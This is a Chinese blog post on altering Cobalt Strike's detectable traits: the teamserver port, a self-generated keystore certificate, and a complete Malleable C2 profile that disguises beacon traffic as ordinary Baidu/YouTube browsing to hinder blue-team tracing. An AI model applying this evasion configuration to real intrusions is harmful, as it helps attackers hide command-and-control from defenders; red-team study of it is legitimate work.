当前位置:网站首页>Cobalt Strike特征修改
Cobalt Strike特征修改
2022-07-06 06:24:00 【zxl2605】
在红蓝对抗以及hvv等等情况下,我们都会用到 Cobalt Strike,那么它也是安全公司重点关注的对象,跟msf类似,但CS操作相对比MSF使用简单,同时也有一个强大的插件库。那么,这么红的工具,特征方面安全软件特征库里肯定是有的,所以我们就要需要修改其特征。
------本文主要探索CS的本身特征,不包含木马免杀,后续会在写免杀系类文章,也算一种学习的记录,欢迎各位师傅指导。
一、CS默认端口
CS开启的默认端口是50050,蓝队在分析的时候,看到ip开放50050,一般都ban了,很明显是CS的端口,所以,我们需要修改50050端口。
在服务端文件teamserver内修改,
vi teamserver
将代码最下面的50050改为其他端口,即可
二、CS指纹https特征证书修改
默认我们不配置CS证书时,使用的是CS自带的证书,先不说为什么要修改,先看看默认证书内容
使用keytool.exe【电脑如果有java环境,是自带的】打开,
keytool -list -v -keystore cobaltstrike.store
需要输入口令,默认情况是123456,如果不是123456,则可以尝试打开teamserver文件,查看
可以尝试一下,不知道,密码也没关系,后面我们需要自己生成。
这个是原始的 cobaltstrike.store文件,全部是CS特征,直接定位到了,查杀。
此时就需要我们自己生成证书了。
keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias SuanSuan -dname "CN=Suan Suan, OU=Suan, O=Suan, L=LongZu, S=OO, C=OO"
解释一下什么各参数的意思:
CN=(名字与姓氏), OU=(组织单位名称), O=(组织名称), L=(城市或区域名称), ST=(州或省份名称), C=(单位的两字母国家代码)
其中cobaltstrike.store为新生成的keystore文件,-alias 指定别名,-storepass pass 和 -keypass pass 指定密钥,-keyalg RSA 指定主体公共密钥算法,-dname 指定所有者信
根据上面的信息,我们可以自己生成一个特有的证书,防止之前的证书特征,被查杀。
生成新的证书之后将原来证书删除,放到CS根目录,并且我们需要启用证书:
keytool -importkeystore -srckeystore cobaltstrike.store -destkeystore cobaltstrike.store -deststoretype pkcs12
cobaltstrike.store为生成证书的名字。
再使用keytool查看一下,
keytool -list -v -keystore cobaltstrike.store
此时证书已经是刚刚我们设置的证书信息了
此时证书还没有完全起效,详情见下面c2配置。
三、CS的http服务流量特征修改
我们先生成一个http服务的木马文件,使用wireshark抓包查看详情
这个数据包是CS没http的数据包,从数据包请求和返回就很奇怪,参数太少了,而且U-A头也是IE浏览器的,应该也很少也有使用IE吧,所以我们还是需要修改一下。
使用Malleable C2 Profile自定义CS通信流量特征,
参考项目:https://github.com/xx0hcd/Malleable-C2-Profiles
根据模板文件配置profile,
###global options###
set sleeptime "37500"; #单位ms
set jitter "35"; #睡眠抖动时间,百分比0-99
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36 Edg/97.0.1072.69";#U-A头自定义
###SSl Options###
#这里如果有证书可以直接使用自己生成的证书,将这里的注释去除,将下面生成证书的代码注释,没有则利用下面代码生成。
#https-certificate {
#set keystore "cs内.store文件位置";
#set password ".store证书文件密钥";
#}
https-certificate {
set C "US"; #字母国家代码
set CN "Suan Suan"; #名字与姓氏
set L "WU"; #城市名称
set O "Suan Suan"; #组织名称
set OU "Suan Suan"; #组织单位名称
set ST "WU"; #州或省名称
set validity "365"; #证书生效时间
}
###CODE-SIGNER BLOCK###
code-signer{
#用于签名 Windows Executable and Windows Executable(S),确保Payload一致性
set keystore "cobaltstrike.store"; #证书文件名称
set password "123456"; #证书内密码
set alias "baidu.com"; #证书别名
}
###HTTP-GET Block###
http-get {
set uri "/video /knowledge /douga /cinephile"; # 自定义多个url请求路径,以空格相隔
#配置请求参数
client {
header "referer" "https://www.baidu.com/";
header "Host" "https://youtube.com/";
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9";
header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6";
header "Connection" "close";
metadata {
netbiosu; # netbios(大写)编码
append "BV1kF411J7zG?spm_id_from=333.5.0.0"; # 追加参数内容尾缀
parameter "file"; # 将内容放在新增的url参数中
prepend "v="; # 追加参数内容前缀
header "Cookie"; # 添加到HTTP Cookie头中
}
}
#响应内容
server {
header "Content-Type" "text/html; charset=utf-8";
header "content-encoding" "gzip";
header "set-cookie" "innersign=1; path=/; domain=.youtube.com/";
output {
base64;
print;
}
}
}
###HTTP-Post Block###
http-post {
set uri "/knowledge= /food="; # 不能与http-get的url请求路径完全相同
client {
header "Host" "https://youtube.com/";
header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9";
header "Accept-Language" "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6";
header "Connection" "close";
id {
netbios;
append "spm_id_from=333.5.0.0";
uri-append; # 追加到url末尾
}
output {
base64;
print;
}
}
server {
output {
base64;
print;
}
}
}
上面配置文件【根据上面说明编写,上面文件有很多不合理的地方】有http及https的配置,https是启用上面的证书,自定义证书特征,http则是使传输的数据包更真实,增加蓝队溯源难度。
使用如下命令启用profile配置文件
./teamserver 192.168.1.109 suan c2.profile
就是在CS正常启动下将profile文件加载后面。
此时我们来看一下木马文件http服务的数据包
这个更改后的数据包,我们根据实际情况自己修改profile文件,使数据包更加真实。
那么还有https吧,我们来访问一下https服务
此时我们的证书也就出来了,如果在 profile文件内没有配置https的话,证书信息也不会显示,各类信息为空。
四、域前置
该技术相对较好,即配置cdn服务,防止溯源到ip,并且不会找到真是ip,由于还未成年,无法备案域名,所以过时间补充。
声明:本文所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途,否则后果自行承担!!!
边栏推荐
- 在JEECG-boot代码生成的基础上修改list页面(结合自定义的组件)
- Cannot create poolableconnectionfactory (could not create connection to database server. error
- On weak network test of special test
- JMeter做接口测试,如何提取登录Cookie
- Luogu p2141 abacus mental arithmetic test
- [postman] the monitors monitoring API can run periodically
- Simulation volume leetcode [general] 1314 Matrix area and
- 私人云盘部署
- RestTemplate、Feign实现Token传递
- 模拟卷Leetcode【普通】1249. 移除无效的括号
猜你喜欢
Delete the variables added to watch1 in keil MDK
The ECU of 21 Audi q5l 45tfsi brushes is upgraded to master special adjustment, and the horsepower is safely and stably increased to 305 horsepower
記一個基於JEECG-BOOT的比較複雜的增删改功能的實現
Black cat takes you to learn UFS protocol Chapter 4: detailed explanation of UFS protocol stack
Detailed explanation of P problem, NP problem, NPC problem and NP hard problem
专业论文翻译,英文摘要如何写比较好
JMeter做接口测试,如何提取登录Cookie
[Tera term] black cat takes you to learn TTL script -- serial port automation skill in embedded development
sourceInsight中文乱码
Oscp raven2 target penetration process
随机推荐
Detailed explanation of P problem, NP problem, NPC problem and NP hard problem
B - The Suspects
Postman core function analysis - parameterization and test report
模拟卷Leetcode【普通】1447. 最简分数
今日夏至 Today‘s summer solstice
[eolink] PC client installation
模拟卷Leetcode【普通】1296. 划分数组为连续数字的集合
Pat (Grade B) 2022 summer exam
模拟卷Leetcode【普通】1061. 按字典序排列最小的等效字符串
[postman] the monitors monitoring API can run periodically
模拟卷Leetcode【普通】1218. 最长定差子序列
模拟卷Leetcode【普通】1143. 最长公共子序列
JWT-JSON WEB TOKEN
oscp raven2靶机渗透过程
Database - current read and snapshot read
Simulation volume leetcode [general] 1061 Arrange the smallest equivalent strings in dictionary order
自定义指定路由上的Gateway过滤器工厂
Esp32 esp-idf watchdog twdt
Selenium source code read through · 9 | desiredcapabilities class analysis
MySQL is sorted alphabetically